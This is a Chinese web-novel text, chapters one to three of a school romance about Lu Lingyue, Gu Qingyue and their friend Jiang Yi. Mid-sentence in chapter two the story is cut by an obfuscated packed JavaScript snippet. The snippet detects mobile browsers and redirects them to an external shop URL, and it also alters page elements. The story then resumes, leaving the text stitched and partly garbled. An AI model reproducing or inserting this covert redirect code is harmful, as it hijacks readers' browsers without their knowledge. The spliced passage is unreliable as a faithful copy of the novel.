《月亮以南》 1. 第一章 《月亮以南》 文/翎久 2026.01.28 【很高兴认识你,这句话我想对你说一千遍一万遍,可惜我还没有找到说出口的机会。】 ——被拒绝了三次的小可怜陆泠月。 九月的阳光穿过老银杏层叠的枝叶,疏疏落落地洒进窗内。光影在木质书桌上游移,漾开一池暖金色的波。 李英平端着一盆刚浇过水的粉色郁金香,推开孙女的房门。 空中弥漫淡淡的馨香,书桌正中央,摊开着一本崭新的日记本。 淡紫色的封面,几枝手绘的素雅玉兰绽放其上,旁边还有用银色墨水勾勒出的蔓草纹样。 李英平记得很清楚,笔记本是一个月前陆泠月在书店买的,付钱时还信誓旦旦向她保证:“奶奶,等军训一结束我就收心,这本子专门记数学重点,下次考试,我一定把顾清樾从年级第一的宝座上踢下去!” 可如今,准备用来征战题海的笔记本,已经改变用途,变成了少女心事的收纳册。 李英平把郁金香放到书桌一角。 从前,陆泠月放学回家,人没进门,笑声先到,吃饭时有说不完的故事,谁摔跤、谁唱歌跑调,她演得有模有样,能把一顿饭吃出春晚小品的热闹。 可现在一到家,她就悄无声息溜进自己的房间。 饭桌上也不讲话,随便吃两口后,扔下一句“我吃好了,爷爷奶奶慢用”,便起身离开。 两老人起初以为是军训太苦,加上九月的秋老虎毒辣,把陆泠月好不容易才养回来的白皙皮肤又晒黑了几个度。 小姑娘家脸皮薄,爱美,一时心情低落也属正常。 可将近两周过去,陆泠月的情绪不但没有回暖,反而越陷越沉。 所以李英平决定,今早帮她收拾房间。 窗明几净,再摆上一盆生机盎然的花,或许能让沉闷的空气流动起来,让人的心情也随着敞亮些。 也正是在这时,她看见了陆泠月的日记。 李英平知道自己不该看,可孙女连日来的反常,让她忧心不已,夜不能寐。 万一孩子钻牛角尖,出什么事可怎么办? 犹豫再三。 担忧战胜原则。 李英平用围裙擦了擦手,将日记本往前翻了几页。 前面的内容,全是军训时的趣事与吐槽。 2016.8.29,星期一,天气晴 站军姿时,一只蜜蜂围着我转,我在内心呐喊:蜜蜂大哥,一班的顾清樾看起来更‘香’,你去叮他好不好? 我汗水的味道哪有他的冷气有吸引力,结果蜜蜂不理我,看来它更喜欢我。 谢谢,有被冒犯到。 2016.8.30,星期二,天气晴 一中食堂的绿豆汤,清澈得像顾清樾看我们这些凡夫俗子的眼神——毫无杂质,也毫无温度(重点是毫无绿豆)。 我盯着碗底发呆,幻想顾清樾会不会突然出现,用他做奥数题的脑子帮我计算一碗里找到绿豆的概率。 算了,他可能觉得这种问题侮辱了他的智商,毕竟他的大脑是用来思考宇宙奥秘的。 2016.8.31,星期三,天气晴 我宣布,人类在站军姿的时候,时间这个概念是不存在的。教官说“再站十分钟”,我体感已经从早上站到了晚上,中间可能还跨了一个寒暑假。 为了分散注意力,我开始观察操场上的一切,比如一班鹤立鸡群的顾清樾。 此人严重违反了“军训众生平等”的规则。尤其是他的腿!同样的裤子,穿在他身上就是“青春疼痛文学封面”,穿在我们身上就是“劳动最光荣宣传画”。 不开心,回去删他好友。 2016.9.1,星期四,天气阴 教官喊“向左转”,我脑子一抽大喊‘“收到!”并转向了右边。 最怕空气突然安静,最怕余光瞥见一班方阵。 顾清樾居然在看我,冷漠的眼睛里没有笑意,只有一种“人类早期迷惑行为鉴赏”的探究目光。 看什么看,没看过口令和肢体不协调的美女吗?没看过的话,今天就让你看个够! 2016.9.2,星期五,天气阴 铁骨铮铮的猛男教官最后讲话时居然哽咽了,全班女生哭成一片,我擤鼻涕擤得毫无形象,忽然看见顾清樾安静地站在我们班外,嘴角好像有极淡的弧度。 他是不是在笑我哭得太丑?可恶,这种感人肺腑的时候还要保持冰山人设! 可当我再看时,他已经别过脸,抬手摸了摸鼻尖。 咦?顾清樾该不会也舍不得教官,在偷偷难过吧? 再然后,日记的色调骤然从明媚的夏日午后跌入深秋的冷雨之中。 — 李英平望着眼前清瘦的少年。 傍晚的微风拂过院里的桂树,携来几缕幽甜的香气,也将她的怜惜悄然翻起。 顾清樾是她看着长大的孩子。 没有父母,自小跟小姨生活,幸而小姨待他如亲生,也算是不幸中万幸。 在几个半大不小的孩子里面,他年纪最小,言行却最沉静,最可靠。 如今十六岁的年纪,身量拔高不少,模样也长开了,眉眼干净,鼻梁挺直,下颌线条已经有了清隽的弧度。 就是不怎么爱笑,神色总是淡淡的。 可今天有些不同。 顾清樾坐在旧藤椅上,低垂眼眸,唇角竟噙着一点很淡的笑,将他身上孤清的气韵化开了一些。 李英平犹豫片刻,开口问:“小顾啊,月月这几天不知道怎么了,回家就闷闷的,问她什么也不说。” 顾清樾抬起眼。 他生得白,军训也没有晒黑,日落稀薄的光落在脸上,透出瓷质的润泽,他无奈道:“奶奶,我也不是很清楚。” 李英平不由得叹了口气。 今天,她趁陆泠月出门找蒋翊玩,思忖过后,才带着她的日记本过来找顾清樾。 想着两个孩子从小一起长大,顾清樾又心思细腻,他总能看出些什么。 顾清樾也已经将日记翻到了最后一页。 李英平瞧见,他方才的笑意在看到最后一页时,瞬间消失的无影无踪。 顾清樾面无表情地合上日记本。 “奶奶不要担心,没事的,周一上学,我去她班级找她聊聊。” 闻言,李英平悬着的心才落回实处,连声道:“谢谢你啊小顾,真是麻烦你了。” 顾清樾和陆泠月并不在同一个班级。 开学前,一中进行分班考试,近八百名新生被打散分到二十个班级。 一中的分班制度,曾是一段风波不断的改革史。五年前,为了冲刺顶尖大学的录取名额,学校开始推行“精英教育”,设立了创新班和博雅班。 初衷虽好,但优质师资和教学资源的过度集中,很快引发了争议。越来越多的家长质疑这种“掐尖”模式的公平性,认为它变相放弃了大批学生。 尤其对那些以微弱分差与精英班失之交臂的孩子而言,这种分班无异于一种否定,会给他们带来沉重的心理压力。 矛盾在顾清樾和陆泠月他们入学的前两年到达顶峰。部分激进的家长联合起来,多次到教育局门口举牌抗议,言辞激烈地抨击这种教育歧视,指责学校“制造教育不公”、“扼杀学生潜能”。 本地民生论坛和社交媒体上,相关话题也吵得沸沸扬扬。 面对巨大的舆论压力和上级部门的干预,一向强硬的校长也未能顶住压力,在各方协调下,宣布从上一届开始,全面取消精英班制度,所有新生严格按平行班分配。 因此,到了顾清樾这一届,分班机制变得简单透明:以三成分班考试、七成中考成绩混合计入总排名,再以蛇形编班的方式,第一名随机分入某一班,第二名分入另一班,依次排开,尽可能把每个班的生源平均地铺散开来。 顾清樾毫无悬念高居榜首,陆泠月考得也相当不错,位列第十九名。 按照分班逻辑,他们自然被分到了不同的班级。 顾清樾在一班,陆泠月在四班。不过两个班级的教室在同一层楼,相隔不过几步之遥。 — 周一午休时分,教学区相对安静。 顾清樾快速吃完陆奶奶做的三明治,将包装纸折好塞进垃圾袋,从座位上站起身。 同桌祝陈躲在竖起的书堆后,争分夺秒打手机游戏,听见动静,抽空抬眼 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班级有人偷偷吃了泡面,浓郁的味道尚未完全散尽,学校明令禁止在教室吃泡面,为了通风散味,所有窗户只好大开,以防被巡查的老师察觉。 陆泠月就睡在复杂的气流和隐约的泡面味里,侧脸压着手臂,呼吸均匀绵长,对窗外经过的人和投来的目光毫无察觉。 顾清樾停下脚步,静静地看了她几秒,神色微不可见地一软。 班级的同学都在抓紧时间休息,看小说的、偷偷玩手机的,各得其乐,没人注意到走廊的他。 下一刻,不知道哪根神经被拨动,顾清樾做了一件自己事后回想都觉得有些冲动的事。 他抬起手,自然地穿过敞开的窗户,极快地揉了把陆泠月毛茸茸的脑袋。 还是和小时候一样软。 都说头发软的人,心肠也软,可顾清樾认为这话有时候放在陆泠月身上,并不完全对。 比如军训第一天,他在q.q上发去“到家了吗?”,只得到一个红色的感叹号。 第二天,微信消息也出现了同样的标识。 第三天,手机号码被拉黑。 第四天,支付宝转账失败。 第五天,淘宝好友列表没有了陆泠月的头像。 第六天,不玩游戏的顾清樾下载了陆泠月常玩的游戏,在蒋翊的出谋划策下,发去好友请求,验证消息:我带飞。 陆泠月同意了。 可她没给顾清樾开口的机会,直接拉他双排。 结果可想而知。 一场惨不忍睹的对局后,顾清樾再次被她从列表移除。 陆泠月对他说的最后一句话是:“这么菜?你对带飞是不是有什么误解?” 第七天,无可奈何的顾清樾去陆泠月家找她,塞给她一袋她最爱吃的进口软糖和巧克力威化,陆泠月紧绷的脸才稍稍松动,鼻尖哼了一声,算是勉强接受。 …… 陆泠月在睡梦中似乎感觉到了旁人的触碰,无意识地动了动脑袋,发出一点模糊的呓语,但没有被惊醒,换了个更舒服的姿势,继续沉沉睡去。 顾清樾迅速收回手,正欲若无其事转身离开,一抬眼,猝不及防对上一双清澈含惊的眼眸。 一个女生站在离他几步外的走廊上,不知看了多久。 她生得漂亮,皮肤白皙,五官精致,只是身形有些过分的清瘦,宽大的蓝白校服套在身上,空落落的,被走廊穿过的风一吹,晃动的衣摆更显几分伶仃单薄之感。 女生的目光在顾清樾脸上停留了一瞬,又转向窗内睡得正香的陆泠月,脸颊倏地浮起两抹红晕。 顾清樾的表情没有被撞破的尴尬和慌乱,他淡然地移开视线,迈开步子,朝卫生间走去。 女生在原地站了几秒,直到顾清樾的身影消失在转角,她咬了咬唇,快步走回教室。 她的座位正好在陆泠月的后面。 女生坐下后,静静地看着陆泠月随着呼吸起伏的肩膀,眼神复杂。几秒后,她才吐出一口气,移开视线,从桌肚里拿出下节课要用的化学课本。 教室重归平静,窗外的蝉鸣依旧高亢,一声迭着一声,奋力搅动沉闷的午后时光。 2. 第二章 陆泠月这一觉睡得很沉,还做了一个光怪陆离的梦。 梦里,她变成了一只毛茸茸的小动物,具体是猫是兔已然模糊,只清晰记得,自己的脑袋成了热门观光景点,来来往往的人,甚至路过的狗都要凑上来,用爪子或鼻子好奇地蹭弄两下。 被反复抚摸、揉弄头顶的触感,隔着梦境,竟真实到有些诡异。 午餐结束,同学们陆续回来,搬动桌椅的声响、嬉笑打闹的声音汇成一片。 陆泠月揉着惺忪的睡眼,慢吞吞地坐直身体,大脑昏沉滞涩。 从初中开始,她就患上周一焦虑综合征,每到周日晚上,想到即将开始漫长的一周,思绪就纷乱如麻,在床上翻来覆去无法入睡,昨晚更是睁眼到天际泛白。 此刻,睡眠不足的后遗症全面爆发,太阳穴隐隐作痛。 不过梦里被反反复复摸头的感觉太过真实,并不像睡眠不足导致的幻觉。 陆泠月理了理凌乱的长发。 这一理,心下顿时升起异样。 她是标准的侧趴睡姿,压着的头发蓬乱翘是正常的,可怎么感觉后脑勺,尤其是发旋周围的头发,也莫名地毛毛躁躁,有几嘬乱糟糟翘起。 这绝不是单侧压迫能造成的效果。 真的有人摸她的头,不是梦。 陆泠月的心跳漏了一拍。 同桌蒋翊的座位还空着。 她问前桌苏清扬和斜前方的谢兰:“你们刚才看到有人在窗户边吗?或者有谁碰我头发了?” 被问到的两人从闲聊中转过头,脸上是如出一辙的茫然。 苏清扬推了推眼镜,笑嘻嘻道:“没注意,我们刚回来没多久,进来的时候你就已经睡醒在发呆了。” 谢兰也附和道:“怎么了泠月?做噩梦了?看你脸色不太对。” “没事,可能睡迷糊了。” 前面的人没看到,那坐在她后方的人,视角最佳,一定能看到。 陆泠月转过身,后排沈夕拾安静地坐在位置上,额前的刘海遮住了她部分眉眼。 似乎感受到旁人的注视,沈夕拾掀起眼,好看的眼眸静静地看向陆泠月。 陆泠月张了张嘴,想问“沈夕拾你看到了吗”,可话到嘴边,对上她沉静冷淡的眼睛,她又把话咽了回去。 两人无声对视,谁都没先开口,气氛越发尴尬。 最后,还是陆泠月先败下阵来。 她不自然地眨了眨眼,仓促地移开视线,嘴角扯动,露出一个算不上笑的表情,悻悻然转回了身。 在她转身的刹那,沈夕拾垂下眼睫,恰好掩去眸中一闪而过的黯然。 这时一个风风火火的身影冲进教室,“月月你的御用酸奶到货了!” 陆泠月的同桌蒋翊从小卖部回来。 像个进贡的小太监,把一袋冰镇酸奶放在陆泠月桌上。 陆泠月接过酸奶:“谢啦。” 蒋翊大大咧咧瘫坐在椅子上,侧过身,手肘撑在桌面,咧开嘴笑,露出两颗标志性的小虎牙:“哟,您老人家脸上这红印子,跟盖了公章似的,层次分明,睡得可真够投入忘我的啊。” 若是平时,陆泠月少不了要跟蒋翊斗上八百个回合的嘴,可此刻她心烦意乱,根本没心情。 古老传言说,摸头会长不高的。 她已经够矮了,身高不能再停滞不前。 到底是谁这么无聊,趁她睡觉干这种事? 想到这里,陆泠月更愁了。 她拧起眉,朝蒋翊那边凑近了些:“别贫了,蒋翊,我跟你说正经的,我好像被人偷袭了。” “什么?”蒋翊沾到椅子不久的屁股像安了弹簧,“噌”地又弹了起来,反应之大,险些带倒桌子。 他一巴掌拍在桌上,发出一声巨响,震得笔袋都跳了一下。 周围同学纷纷侧目。 “谁?哪个不长眼的敢在太岁头上动土,欺负到你头上了?名字报上来,看我不让阿樾找他谈谈心!” 陆泠月被蒋翊反应吓得一哆嗦,伸手把他往下拽:“你小点声,丢死人了,我也不知道是谁,我就是总感觉……刚才睡觉的时候,好像一直有人在摸我的脑袋。” 蒋翊一听,不是预想中的肢体冲突,满腔的怒气转化为熊熊燃烧的好奇心,中间还夹杂一点跃跃欲试的兴奋。 他重新坐下,庞大的身躯凑近陆泠月,还没等陆泠月反应过来,就以迅雷不及掩耳之势,伸出爪子,在陆泠月的后脑勺上结结实实地揉了一把。 那动作,粗鲁得毫无温柔可言,力道均匀地覆盖了陆泠月的整个后脑勺,与其说是摸头,更像是在农贸市场里拍打西瓜判断生熟。 摸完,蒋翊还像模像样地咂咂嘴,眯起眼睛,摆出一副世外高人的姿态,一本正经地评价道:“唔好头,骨相匀称,圆润饱满,触手升温,乃上佳之品,依我看,我们月月的头,长得那叫一个标准,天庭饱满,地阁方圆,一看就是有福之人,将来必成大器,不是状元也是探花……” 陆泠月刚巧用牙齿咬开酸奶袋的塑料封膜,被蒋翊突如其来的一摸搞得措手不及,没控制好力道,手指和牙齿一哆嗦,酸奶从撕开的小口喷溅而出。 几滴白色的奶液精准地飞溅到蒋翊浅蓝色的校服裤档,留下几处醒目的斑点。 蒋翊还沉浸在自己“慧眼识好头”的得意中,摇头晃脑,念念有词,没注意到裤子上悄然降临的地图。 见陆泠月表情古怪,还以为她被自己的幽默感折服,于是更加得意:“此情此景,正所谓笑摸狗头。” 陆泠月:“……” 好的,是你逼我的。 本来看蒋翊傻乎乎的样子,她想提醒他裤子的尴尬,现在这股恶气不出,实在难平心头之愤。 提醒? 等他自个儿发现去吧。 就让酸奶渍在他裤子上多待一会儿,最好能让更多路过的人欣赏到蒋大师裤子上别致的印象派作品。 陆泠月决定暂时紧闭尊口。 等过一会儿,自己这口混合了“被偷袭摸头”和“被言语嘲讽”的恶气消解,再大发慈悲提醒他。 然而,计划赶不上变化。 班主任夏老师走进教室。 午休铃声响起。 周围的同学,有的已经趴下准备补眠,有的精力充沛地拿起习题册。 已经睡饱的陆泠月,想到只比顾清樾低了十分的数学分班考卷子,以及她单方面的暗中较劲,立刻摈弃所有杂念,开始心无旁骛学习。 复杂的公式和烧脑的例题很快占据她全部的思绪,蒋翊裤子上的酸奶渍自然而然被抛到了九霄云外。 下午第一节课是化学。 陆泠月对化学很感兴趣,加之讲课的化学老师风趣幽默,将枯燥的知识点讲得生动有趣,所以她听得格外认真。 下课铃一打响,早已蓄势待发的蒋翊风风火火地冲出教室,直奔卫生间,解决积蓄已久的生理需求。 陆泠月瞧见他匆忙的背影,隐约觉得好像忘了点什么,但一时没想起,便继续低头整理化学笔记。 蒋翊去时如风,回来时脚步沉重,像霜打的茄子。 他哭丧着脸,一步步挪回座位,重重地倒在椅子上,发出一声长叹。 陆泠月两耳不闻窗外事,一心只读化学书,对同桌散发出的强烈低气压毫无察觉。 蒋翊扭过头,用一种混合了委屈、幽怨、以及难以启齿的复杂眼神,死死盯了陆泠月几秒钟。 见她无动于衷,他不甘心地伸出手指,“叩叩叩”地敲了敲桌面,强行打断正在与化学奋战的陆泠月。 “月月。”蒋翊一脸懊恼,“你老实交代,你喝酸奶的时候,是不是不小心弄我裤子上了?” 经受害者本人提醒,陆泠月这才恍然想起被遗忘的酸奶事故。 她“啊”了一声,连忙放下笔,双手合十,脸上堆起歉意:“对对对不起,是我不好,当时你突然摸我头,我吓了一跳,没控制好力道就喷出来了。我本来想马上告诉你的,结果后来就给忘了,真的对不起……” “你先别急着道歉。”蒋翊抬起一只手,做了个打住的手势,表情想哭又想笑,“你听我说完。我刚才去上厕所,碰到一班的祝陈了,就阿樾那个同桌,你知道吧?” 陆泠月点点头,有点莫名其妙,这跟祝陈有什么关系? 难道是祝陈看到了酸奶印,笑话他了? 蒋翊在卫生间专心致志放水,一转头,就看见祝陈那小子,眼神毫不避讳地盯着他的庞然大物看。 他很纳闷,非常纳闷。 祝陈平日里总和顾清樾同进同出。 不对,确切来说,是祝陈单方面死皮赖脸地缠着顾清樾, 他那股死缠烂打的劲儿,在整层楼都是出了名的,跟舔狗似的,现在他和顾清樾的关系,好得都快赶上他蒋翊、傅屿和顾清樾组成的铁三角了。 照理说,祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185632|197018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈应该早就见识过顾清樾的规模了,怎么还会对他蒋翊的,表现出一副震惊我全家的表情? 难不成,自己在不知不觉中,已经超越了顾清樾,达到了一个令人瞩目的新长度? yes! 自豪感瞬间冲昏蒋翊的头脑。 蒋翊理所当然以为祝陈是羡慕嫉妒恨,心里还挺骄傲,一边抖了抖,一边得瑟地问他:“怎么样,牛逼不?” 祝陈脸上肌肉抽动,郑重点头:“牛逼。” 蒋翊一看他的反应,更来劲,系好裤子,昂起下巴,用鼻孔看他,说了句:“天赋异禀,懂?” 祝陈再次点头:“懂。” 蒋翊尾巴翘上天,乘胜追击:“是不是比阿樾还牛?” 祝陈又点头:“阿樾比不过你。” 蒋翊更加自豪感爆棚,开始口无遮拦地吹嘘:“我和阿樾平常会一起干这事,懂?” 祝陈的表情变得有些古怪:“那十八班的傅屿也会吗?” 蒋翊心想,这有什么好问的,但为了显示他们关系铁,他吹得更没边了:“废话,我们关系非同一般,懂?” 言外之意,你这个第四者休想插入我们坚固的友谊。 祝陈脸上的表情在短短几秒内变了五六种颜色,最后千言万语凝结成发自肺腑的两个字:“牛逼。” 蒋翊这人,一得意就容易犯中二病,豪气干云拍着胸脯保证,补充道:“那是当然,兄弟一生一起走,我们以前经常一起干的好吗?” 在他的认知里,一起上厕所是人际关系亲密的铁证,这观念源头直指和他做了三年同桌的话痨少女陆泠月。 蒋翊早已被陆泠月“女生手拉手上厕所是友谊勋章”的理论洗脑而不自知,并潜移默化认为,这条法则在男生界同样通行无阻。 当然,男生之间可能还会有比谁尿得远、尿得高这种附加竞技项目。 不过,顾清樾和傅屿是不屑于干这种幼稚事的。 他蒋翊自然……嗯,也不太会,主要是没人和他比。 话落,祝陈的表情像是吞了只苍蝇,丢下“甘拜下风”四个字就急匆匆跑了。 蒋翊还没觉得有什么,揣着一肚子的骄傲走出卫生间,结果在门口撞见了自己班的体委。 体委指着他裤子,欲言又止,最后拍了拍他的肩膀,叹了口气说:“蒋翊你这……哎,年轻气盛理解,但多少也注意下影响,完事了擦一擦吧。” 蒋翊现在回想祝陈和体委诡异的眼神和话语,后知后觉地品过味来,脸涨成了猪肝色,哀嚎一声把脑袋埋进了臂弯里:“完了,我的一世英名,祝陈那个大嘴巴,他肯定会告诉阿樾的,阿樾不会误会什么吧?我不会狗命不保吧?” 蒋翊如丧考妣的模样,让陆泠月十分疑惑,她无法理解其中的逻辑链条,“为什么顾清樾会因为这个生气?” 蒋翊从臂弯里抬起一半脑袋,“你就等着我死给你看吧,等等,要不我学学你,把阿樾全方面拉黑?” 陆泠月无语:“你这样说显得我很无理取闹。” 蒋翊反驳:“你怎么会无理取闹,你拉黑阿樾,一定是阿樾的错。” 蒋翊这小子虽然脑子时常离家出走,但嘴还挺甜。 陆泠月喜道:“那我允许你学我把他拉黑。” 蒋翊干笑两声:“那就是我在无理取闹了,不被人喜欢的孩子是没有资格无理取闹的。” 陆泠月安慰道:“怎么会,顾清樾喜欢你,可喜欢你了。” 毕竟你们是好朋友。 话落,蒋翊瞳孔突然放大,对着窗边结巴,“阿樾,阿樾……” 陆泠月转过头。 只见顾清樾不知何时出现在窗户口,一手随意地插在校服裤袋里,脸上没什么表情。 他问:“陆泠月,你又在胡说八道什么?” 陆泠月被顾清樾看得心里发毛,但自觉刚才那话并无不妥,“喜欢”两个字又不是只能用在爱情上。 她定了定神,将刚才的话又重复了一遍,字正腔圆:“说你喜欢蒋翊啊。祝你们长长久久。” 蒋翊:“……大可不必。” — 无论蒋翊如何插科打诨、如何不靠谱,有三条准则如同铁律,深深镌刻在他的行为法则之中。 蒋翊永远不会和陆泠月生气。 蒋翊永远会照顾陆泠月。 蒋翊永远是陆泠月和顾清樾这对青梅竹马最忠实的头号拥护者。 3. 第三章 初中时的蒋翊,与现在咋咋呼呼的性格,简直大相径庭,是另一个极端。 他患有严重的社交恐惧,在教室里,总是尽可能缩在靠墙的角落,说话时声音细若蚊蝇,生怕引来任何不必要的关注。 脸上肆虐的青春痘和胖胖的体型,更是让他深陷自卑的泥潭,所以他走路总是含胸,试图将自己缩得更小一点。 命运的齿轮转动,老师阴差阳错地将活泼好动的陆泠月安排成了他的同桌。 陆泠月是个不折不扣的小话痨,精力旺盛,嘴巴永远闲不下来,对谁都有一箩筐的话。 在蒋翊身上,她第一次碰了壁,无论她叽叽喳喳说多少趣闻轶事,旁边都只有一片寂静,连一个“嗯”或者“哦”的回应都是奢望。 但陆泠月身上有种天生的乐观与韧劲,也可以说,她是一个妥妥的犟种。 她不觉气馁,反而将蒋翊视作一项有趣的挑战,依旧每天“蒋翊蒋翊”地叫着,哪怕只是自说自话,也能一个人乐在其中。 转折发生在一个平平无奇的下午。 陆泠月用书本挡着头,小声吐槽数学老师的口头禅,语调生动,模仿得惟妙惟肖,旁边的蒋翊大概是听得入了神,竟然极轻地“嗯”了一声。 虽然只是一个音节,却让陆泠月像中了头奖一样开心,她立刻对蒋翊开启更密集的语音轰炸。 结果乐极生悲,两人的窃窃私语被讲台上的老师逮了个正着。 “陆泠月!蒋翊!出去站着!” 于是,初春的走廊里,多了两个靠墙罚站的身影。 空气里除了熟悉的粉笔灰和旧书本的味道,还漂浮着一种名为自由的躁动气息。 窗外高大的梧桐树,新叶被风吹得哗哗作响,像是无数只小手在鼓掌。教室里,老师又开始了他那套亘古不变的训话:“这道题我讲了多少遍了?你们真是我带过最差的一届!” 那一天,阳光穿过廊柱,在磨石地板上投下明明灭灭的光斑。春风和煦,带着植物新生的清苦气息,将美好的时光拉长,万事万物,明媚自由,生生不息。 但这番岁月静好的景象,对蒋翊而言,无比煎熬。 公开罚站,对他这种习惯于隐形的人来说,不啻于一场公开处刑。 与他相反,陆泠月浑不在意,甚至有点因祸得福的窃喜,她挪动脚步,用手肘碰了碰僵成木头的蒋翊,狡黠地说道:“喂,蒋翊,光站着多无聊,要不要出去玩玩?” 说完,根本不等蒋翊反应,陆泠月一把抓住他的袖子,熟门熟路地溜出教学楼。 等蒋翊回过神来,已经被拉到了学校小卖部门口。 零食琳琅满目,蒋翊摸了摸口袋里的饭卡,他这个月的生活费,大部分都被他偷偷用来买那些据说能快速减肥,实际毫无卵用的神奇产品了。 卡里余额所剩无几。 蒋翊脸上刚刚褪下去的热度又涌上,变成更深的窘迫。 陆泠月嘿嘿一笑,露出一排整齐的小白牙。 变戏法似的从校服口袋里掏出两张饭卡,在蒋翊眼前晃了晃:“别担心,是我对不起你,连累你罚站,我请你吃零食赔罪,喏,这张是傅屿的,这张是顾清樾的,随便你刷,别客气,就当农民工起义打土豪了。” 顾清樾饭卡的余额有整无零,不多不少,刚好五百,对比之下,傅屿就有些寒酸了,无整有零,只有孤零零的五毛钱。 蒋翊头一遭看到有人的饭卡余额比自己的还要凄惨的,心里莫名地找到一丝平衡。 陆泠月尴尬地“呃”了一声,迅速把只有五毛钱的卡塞回口袋,挠了挠头:“还是用顾清樾的吧,他的钱多,够咱们挥霍的!” 蒋翊拗不过陆泠月的热情,但他不想花顾清樾的钱,又顾及自己正在减肥,在小卖部里转了一圈后,拿起一个果冻。 陆泠月见状,二话不说走到熟食柜前,利落地刷卡,买了一个油光锃亮、香气扑鼻的大鸡腿,塞到蒋翊手里:“光吃零食怎么行,这个给你,高蛋白。” 两人走出小卖部,蒋翊手拿沉甸甸的鸡腿。 诱人的香气一个劲儿地往他鼻子里钻,挑战他脆弱的意志力,也让他更加手足无措,不知该如何是好。 走到教学楼后的林荫道,陆泠月转过身,双手背在身后,倒退走路:“蒋翊,你可要想好了哦,这鸡腿,可不是白吃的哦。” 蒋翊刚咬下去的第一口鸡肉还含在嘴里,咽也不是,吐也不是,警惕地看着她。 陆泠月眨眨眼睛,向前轻盈地跳了一小步:“傅屿和顾清樾他们每天放学都要去操场跑步,但他们俩胆子特别小,特别怕黑,还怕鬼!两个人互相壮胆还是害怕,所以呢,我就想找个胆子大又可靠的人保护他们。” 蒋翊欲言又止。 陆泠月不给他反驳的机会:“你吃了我的鸡腿,就得听我的,这就叫吃人嘴软,拿人手短,以后放学,你能不能陪他们一起跑步,顺便保护一下他们脆弱的神经?” 手中鸡腿香气四溢,诱惑难挡;眼前少女眼神灼灼,充满期待,仿佛他是能拯救世界的英雄。 蒋翊已经到了嘴边的拒绝,在喉咙里艰难地滚了滚,最终还是和嘴里鲜美多汁的鸡肉一起,囫囵咽了下去,沉进肚子里。 但有些事实,还是有必要澄清一下,免得日后期望过高,失望更大。 思忖片刻,蒋翊羞赧开口:“可是,我也怕鬼……” 傅屿和顾清樾怕不怕鬼他不知道,但他是真的怕,怕得要命。 这可不是瞎说,蒋翊小时候走夜路被邻居讲的鬼故事吓尿过裤子。 是真的,吓,尿了。 陆泠月不以为然,仰头喝了一口可乐,咽下甜滋滋的汽水后:“没事儿,男子汉大丈夫,怕点鬼怎么了?只要没被吓尿,就都是勇敢的好孩子。” 蒋翊窘迫道:“可我被吓尿了。” “噗——咳咳咳!”陆泠月嘴里的汽水岔了道,冲进气管。 她扶着旁边的树干弯下腰,咳得撕心裂肺,好半天才顺过气,继而瞪大眼睛看向蒋翊,一脸难以置信。 还真有人能被鬼吓尿啊? 但一看到蒋翊想挖个洞把自己埋了的样子,陆泠月意识到,蒋翊已经够自卑了,她不能再雪上加霜,往他伤口上撒盐。 她赶紧顺了顺气,压下喉咙里的痒意和想爆笑的冲动,朝蒋翊露出一个最不具伤害性的笑容,把话圆回来:“没事儿没事儿,那什么,我的意思是只要没被吓出屎,就都还是勇敢的好孩子!” 此刻的蒋翊,大脑因为过度羞耻而彻底宕机,完全失去语言过滤和逻辑思考能力,进入一种坦白从宽的状态。 听到陆泠月的话,他想都没想,诚实且多余地接了一句:“差点冒头了。” 陆泠月没理解:“什么?” 蒋翊眼神空洞,机械回答:“屎。” 陆泠月默默地将手里喝了一半的可乐瓶子拧紧,脚步越走越快。 蒋翊在后面气喘吁吁追:“等等,你走那么快干什么啊?” 陆泠月头也不回:“我现在去老师办公室,我要换位置。” 蒋翊问:“为什么啊?” 陆泠月脚步不停:“我害怕你一害怕就朝我喷屎。” 蒋翊太久没与人进行深入交流了,社交神经严重退化,这会儿完全是口不择言,大脑和嘴巴分家,连他自己都不知道自己在胡说八道什么,下意识地就顺着陆泠月的话辩解道:“可是我又不和你一起跑步啊。就算真遇到鬼,我要那什么,也只会喷到顾清樾和傅屿身上,跟你又没关系。” 陆泠月停下脚步:“有道理。” 蒋翊追上她,扶着膝盖喘气,才后知后觉自己说的话有问题,立刻为自己辩解,“不是,都是小时候的事了,我现在不会这样了。” 陆泠月看了他一眼,权衡利弊后得出结论:“哦,我感觉还是换位置比较好。” 最后,陆泠月的换座大业还是以失败告终。 班主任是这么对她很说的:“泠月啊,老师观察你很久了。你这张小嘴,上课就没停过。你跟你的每一任同桌,两个人一天说的话,比全班其他同学一天说的话加起来还要多,还要密。我看蒋翊同学就非常适合做你的同桌。每次看到你想找蒋翊说话,但屡屡碰壁、无从下口的表情,老师就很欣慰。” 陆泠月:“……” 她竟无言以对。 几个月后,班主任私下又单独找过陆泠月一次。 她说她也看到了蒋翊这段时间的变化,不再是缩在角落里的影子。 蒋翊妈妈前几天特意来学校找过她,说起以前,蒋翊在家里就是他们的“宝贝”疙瘩。 “宝贝”两个字,是加了引号的。 因为蒋翊自卑敏感,他们在家说话都很谨慎,捧着怕摔了,含着怕化了,不敢说半句重话,生怕不经意间伤了他脆弱的自尊心。 蒋母很烦恼地对蒋父吐槽,说闺蜜家的儿子生出来是给妈当皮夹克的,怎么她儿子一出生,她就得当牛做马,还整天提心吊胆,到底谁是儿子谁是娘? 不就是胖一点,青春痘多一点吗?减肥、看医生不就行了。 一个男孩子,心理素质怎么这么差,跟林黛玉似的。 但这些话,蒋母不敢对蒋翊说。 在儿子面前,她永远是一副“我儿子最棒”的鼓励式微笑。 有一次,蒋母做饭走不开,让蒋翊去楼下小超市买瓶鲜酱油。结果蒋翊买回来一瓶老抽。 蒋母心里叹气,脸上还得强颜欢笑,摸摸蒋翊的头说:“没关系的,宝贝你怎么知道老抽提色效果更好呀?我儿子真聪明。” 但就在前几天,蒋翊妈妈又让蒋翊去买酱油。 蒋翊再次买错了,又拎回来一瓶老抽。 